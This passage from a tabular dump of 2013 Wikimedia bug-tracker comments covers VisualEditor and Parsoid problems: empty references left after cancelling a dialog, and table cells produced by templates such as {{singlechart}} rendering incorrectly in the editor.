This sounds like another reason to keep those two things in the same dialog (instead of making it look like one, actually have it be one). A dialog is perfectly capable of having multiple ""pages"" or ""states"". This would save a small amount of duplication and gain a fix for this bug and the bug of the animation between the two dialogs.",,,1372814647,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ftakv5wuzkf73akgiop,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,1.0,0.0,0.0,4.0,1.5,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.5,5.0,11.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,0.5,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,2.0,3.0,0.5,4.0,13.5,0.0,0.0,0.0,0.0,4.5,0.0,3.0,0.0,3.5,11.0,0.0,0.0,3.0,0.0,3.5,0.0,0.0,5.0,0.0,3.5,0.0,0.0,0.0,4.0078125,0.765625,"This is because we currently have the logic for a creating refernece (and potentially re-using an existing reference) and actually interacting with the content of a reference in a separate dialog. As soon as you go into the editor it inserts an empty reference and lets you edit that.

This sounds like another reason to keep those two things in the same dialog (instead of making it look like one, actually have it be one). A dialog is perfectly capable of having multiple ""pages"" or ""states"". This would save a small amount of duplication and gain a fix for this bug and the bug of the animation between the two dialogs."
249506,VisualEditor: Cancelling out of adding a reference adds an empty reference,"(In reply to comment #1)
> Note that this doesn't happen until you hit ""Create reference"" inside the
> first dialogue box, so you have arguably told it to create a reference ...
> but this will confuse people, because modal dialogue boxes in applications
> usually cancel out your actions if you just keep hitting the X.

Agreed. We'll get this fixed.

> Arguably, it shouldn't create a reference if it's got nothing to put into
> the reference.

Are you telling users they're not allowed to do what they want?! ;-) I think that the number of users irritated by just silently munching references created as blank (""so I can come back to it later!"") would be non-zero.",,,1372814416,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5ftakv5wuzkf73akgiop,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,15.0,2.0,0.0,2.0,0.0,1.0,2.0,1.0,6.0,0.0,2.0,0.0,9.0,11.0,4.0,1.0,2.0,0.0,9.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.2962962962962963,0.7283950617283951,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Agreed. We'll get this fixed.

QUOTE
QUOTE

Are you telling users they're not allowed to do what they want?! ;-) I think that the number of users irritated by just silently munching references created as blank (""so I can come back to it later!"") would be non-zero."
249497,VisualEditor: Cancelling out of adding a reference adds an empty reference,"Note that this doesn't happen until you hit ""Create reference"" inside the first dialogue box, so you have arguably told it to create a reference ... but this will confuse people, because modal dialogue boxes in applications usually cancel out your actions if you just keep hitting the X. Arguably, it shouldn't create a reference if it's got nothing to put into the reference.",,,1372800411,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-5ftakv5wuzkf73akgiop,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,1.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,15.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,7.0,1.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,16.0,1.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.287671232876712,0.7397260273972602,"Note that this doesn't happen until you hit ""Create reference"" inside the first dialogue box, so you have arguably told it to create a reference ... but this will confuse people, because modal dialogue boxes in applications usually cancel out your actions if you just keep hitting the X. Arguably, it shouldn't create a reference if it's got nothing to put into the reference."
52607,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output","Compare the charts table in 

* http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?oldid=561481881
* http://parsoid.wmflabs.org/en/2012_%28It_Ain%27t_the_End%29?oldid=561481881
* http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit&oldid=561481881

In VE, the table cells seem to be squashed into one. The DOM looks like nested divs there, which would explain the different rendering.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50951",Medium,50.0,1372797900,1404172672.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,7.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.408450704225352,0.5633802816901409,"Compare the charts table in 

* URL
* URL
* URL

In VE, the table cells seem to be squashed into one. The DOM looks like nested divs there, which would explain the different rendering.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
249425,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output",Fixed by gerrit 140439.,,,1404172672,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fixed by gerrit 140439.
249418,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output",*** Bug 52485 has been marked as a duplicate of this bug. ***,,,1385374740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52485 has been marked as a duplicate of this bug. ***
249411,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output","**Wikifram** wrote:

Note that this bug affects all 5,000 pages that use Template:Episode list on enwiki.",,,1384938909,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,False,,,20,,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,16.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.64,0.8,"**Wikifram** wrote:

Note that this bug affects all 5,000 pages that use Template:Episode list on enwiki."
249407,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output","{{yes}}. For comparison, the Parsoid output at http://parsoid.wmflabs.org/en/Comparison_of_open-source_software_hosting_facilities looks fine.",,,1378399018,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1176470588235294,0.8235294117647058,"{{yes}}. For comparison, the Parsoid output at URL looks fine."
249405,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output",Is this bug responsible for the {{yes}} and {{no}} templated cells not rendering as separate cells at https://en.wikipedia.org/w/index.php?title=Comparison_of_open-source_software_hosting_facilities&veaction=edit&section=1 ?,,,1378374796,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.2962962962962963,0.7407407407407407,Is this bug responsible for the {{yes}} and {{no}} templated cells not rendering as separate cells at URL ?
249402,"VisualEditor: Templated table cells not rendered properly in VE, but correct in Parsoid output","This is because the HTML looks like <td typeof=""mw:Transclusion"" about=""#mwt139"">...</td><td about=""#mwt139"">...</td> and so the group of table cells is considered a template, and so the CE rendering is wrapped in a <div>. I'd like to be able to render templates (and aliens) without wrapper divs in CE, but I'm not sure how realistic that is.",,,1372872684,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-d3wyk4xxdf6fguq3hvoj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,3.0,1.0,4.0,3.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,9.0,3.0,5.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,11.0,9.0,0.0,1.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,8.0,3.9054054054054053,0.7297297297297297,"This is because the HTML looks like <td typeof=""mw:Transclusion"" about=""#mwt139"">...</td><td about=""#mwt139"">...</td> and so the group of table cells is considered a template, and so the CE rendering is wrapped in a <div>. I'd like to be able to render templates (and aliens) without wrapper divs in CE, but I'm not sure how realistic that is."
52589,Templates that create multiple table cells don't work,"**Author:** `kwwilliams`

**Description:**
VE can't properly display any table using {{singlechart}} on English Wikipedia, which makes any editing of the fields pretty dicey.

Taking http://en.wikipedia.org/wiki/5_O%27Clock_%28T-Pain_song%29 as an example (it's actually one of thousands), http://en.wikipedia.org/wiki/File:Singlechart-Articleview.PNG shows what the table looks like when being displayed. http://en.wikipedia.org/wiki/File:Visual-editor-singlechart.png shows what it looks like after Visual editor has been engaged. Note that South Korea (GAON) rows and Romanian Top 100 rows are generated by manual table markup and the remainder are template calls.

This probably comes about from two factors:

1) Singlechart generates a ""|"" or ""!"" internally to start a table row, based on whether it has been called with the rowheader parameter.
2) Singlechart generates another | between the two data items it outputs to separate the fields in the table row.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50366
https://bugzilla.wikimedia.org/show_bug.cgi?id=44498
https://bugzilla.wikimedia.org/show_bug.cgi?id=50951
https://bugzilla.wikimedia.org/show_bug.cgi?id=52296",Medium,50.0,1372780080,1377030097.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-65s4zvg7e6km2enogisy,task_description,resolved,True,c1,3,False,False,True,0,,0.6666666666666666,0.0,0.0,1.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,6.666666666666667,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,5.0,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,12.666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,4.0,1.6666666666666667,10.666666666666666,1.0,1.0,5.666666666666667,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,1.3333333333333333,0.0,1.6666666666666667,6.666666666666667,6.666666666666667,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,1.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,3.7531460345332164,0.7185396546678374,"**Author:** CODE

**Description:**
VE can't properly display any table using {{singlechart}} on English Wikipedia, which makes any editing of the fields pretty dicey.

Taking URL as an example (it's actually one of thousands), URL shows what the table looks like when being displayed. URL shows what it looks like after Visual editor has been engaged. Note that South Korea (GAON) rows and Romanian Top 100 rows are generated by manual table markup and the remainder are template calls.

This probably comes about from two factors:

1) Singlechart generates a ""|"" or ""!"" internally to start a table row, based on whether it has been called with the rowheader parameter.
2) Singlechart generates another | between the two data items it outputs to separate the fields in the table row.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL
URL
URL"
248266,Templates that create multiple table cells don't work,"Fixed by https://gerrit.wikimedia.org/r/#/c/79430/, which is now deployed. Chart tables such as the one on http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit now render and round-trip as expected.

The unrelated table rendering issue in http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit is VisualEditor bug 50607.",,,1377030097,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,18.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.973684210526316,0.8157894736842105,"Fixed by URL which is now deployed. Chart tables such as the one on URL now render and round-trip as expected.

The unrelated table rendering issue in URL is VisualEditor bug 50607."
248260,Templates that create multiple table cells don't work,This seems to be related to bug 44498.,,,1375195683,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,This seems to be related to bug 44498.
248255,Templates that create multiple table cells don't work,"Not sure if I should open a new or make a comment here... But is this wrong rendering (too much td nodes) the result of this bug?
http://parsoid.wmflabs.org/sr/%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B0",,,1373659290,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,1,,3.0,0.0,0.0,0.0,3.0,15.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,3.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.242424242424242,0.9393939393939394,"Not sure if I should open a new or make a comment here... But is this wrong rendering (too much td nodes) the result of this bug?
URL"
248251,Templates that create multiple table cells don't work,"(In reply to comment #10)
> Oh wow, on some more investigation it looks like we are actually rendering
> the table just fine:
> 
> http://parsoid.wmflabs.org/en/2012_%28It_Ain%27t_the_End%29
> 
> So the odd rendering seems to be a VE issue.

Should this bug be recategorized then?",,,1373236010,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,29.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,7.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.6428571428571429,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Should this bug be recategorized then?"
248246,Templates that create multiple table cells don't work,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934113,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
248240,Templates that create multiple table cells don't work,"Oh wow, on some more investigation it looks like we are actually rendering the table just fine:

http://parsoid.wmflabs.org/en/2012_%28It_Ain%27t_the_End%29

So the odd rendering seems to be a VE issue.",,,1372797568,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,12.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.6666666666666665,0.9090909090909091,"Oh wow, on some more investigation it looks like we are actually rendering the table just fine:

URL

So the odd rendering seems to be a VE issue."
248234,Templates that create multiple table cells don't work,"> You really need to be parsing *after* template expansion and tracking all the
> text that the templates generate.

We are tokenizing templates and content separately so that we can cut template vs. non-template content on a token level. Attribute keys and values can also be templated, but we don't support templates producing several attributes and parts of a token.

This and the need to infer resulting DOM structures affected by template-produced tokens already adds a lot of complexity, but at least the results can somewhat sanely be represented in DOM. Having 1/3 of a DOM element's start tag be generated by page source and 2/3 templated on some arbitrary boundary would be a nightmare to represent in DOM and even worse in a UI.

You are right though that we *could* in theory represent something like |{{singlechart|..}} as a special case of a multi-part templated construct. This would run counter to our desire to move towards self-contained templates though that are easier to edit both in wikitext and the VE. Removing the pipes in the page and returning the full table row from singlechart would be better in that regard.

> Removing the pipe doesn't quite work, though: take a peek at
> http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29?veaction=edit vs.
> http://en.wikipedia.org/wiki/2012_%28It_Ain%27t_the_End%29 and notice how the
> manual entries and the templated entries align in the normal view but
> scramble
> in the edit view.

Indeed, it seems that we don't recognize single-line rows that don't start with ||. As a workaround, it should be possible to emit '||' from the template instead. I'll file a bug for our table row tokenization bug.",,,1372797193,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,True,,,0,,0.6666666666666666,0.3333333333333333,0.0,1.0,1.0,6.333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,3.6666666666666665,2.3333333333333335,0.0,0.3333333333333333,0.0,2.6666666666666665,0.3333333333333333,4.333333333333333,12.666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,3.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,17.333333333333332,1.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,6.0,3.0,8.666666666666666,2.0,3.3333333333333335,8.0,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.6666666666666666,0.0,4.0,12.666666666666666,4.666666666666667,0.0,0.6666666666666666,0.0,4.0,0.0,0.3333333333333333,3.3333333333333335,0.0,2.0,1.0,0.3333333333333333,0.0,4.0778430371127,0.6904153898535922,"QUOTE
QUOTE

We are tokenizing templates and content separately so that we can cut template vs. non-template content on a token level. Attribute keys and values can also be templated, but we don't support templates producing several attributes and parts of a token.

This and the need to infer resulting DOM structures affected by template-produced tokens already adds a lot of complexity, but at least the results can somewhat sanely be represented in DOM. Having 1/3 of a DOM element's start tag be generated by page source and 2/3 templated on some arbitrary boundary would be a nightmare to represent in DOM and even worse in a UI.

You are right though that we *could* in theory represent something like |{{singlechart|..}} as a special case of a multi-part templated construct. This would run counter to our desire to move towards self-contained templates though that are easier to edit both in wikitext and the VE. Removing the pipes in the page and returning the full table row from singlechart would be better in that regard.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Indeed, it seems that we don't recognize single-line rows that don't start with ||. As a workaround, it should be possible to emit '||' from the template instead. I'll file a bug for our table row tokenization bug."
248227,Templates that create multiple table cells don't work,"**kwwilliams** wrote:

As a help: there are only a few dozen templates that do things like this. I would have no problem at all adding something in the TemplateData that gave VE a clue as to what was going on, like

 ""table"":
  {
    ""cells"": 2,
    ""rowheader"": ""true"",
  }",,,1372794694,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-65s4zvg7e6km2enogisy,task_subcomment,,True,c1,3,False,,,0,,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,11.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,11.0,4.0,0.0,11.0,0.0,1.0,0.0,4.0,4.0,0.0,3.0,0.0,0.0,0.0,3.1066666666666665,0.7066666666666667,"**kwwilliams** wrote:

As a help: there are only a few dozen templates that do things like this. I would have no problem at all adding something in the TemplateData that gave VE a clue as to what was going on, like

 ""table"":
  {
    ""cells"": 2,
    ""rowheader"": ""true"",
  }"
248220,Templates that create multiple table cells don't work,"**kwwilliams** wrote:

Hadn't noticed the leading | character. That is wrong, albeit harmless in most cases (if someone set rowheader=true, it would be a visible error). I removed all of those in a bot run before, and it looks like it's time to do it again.

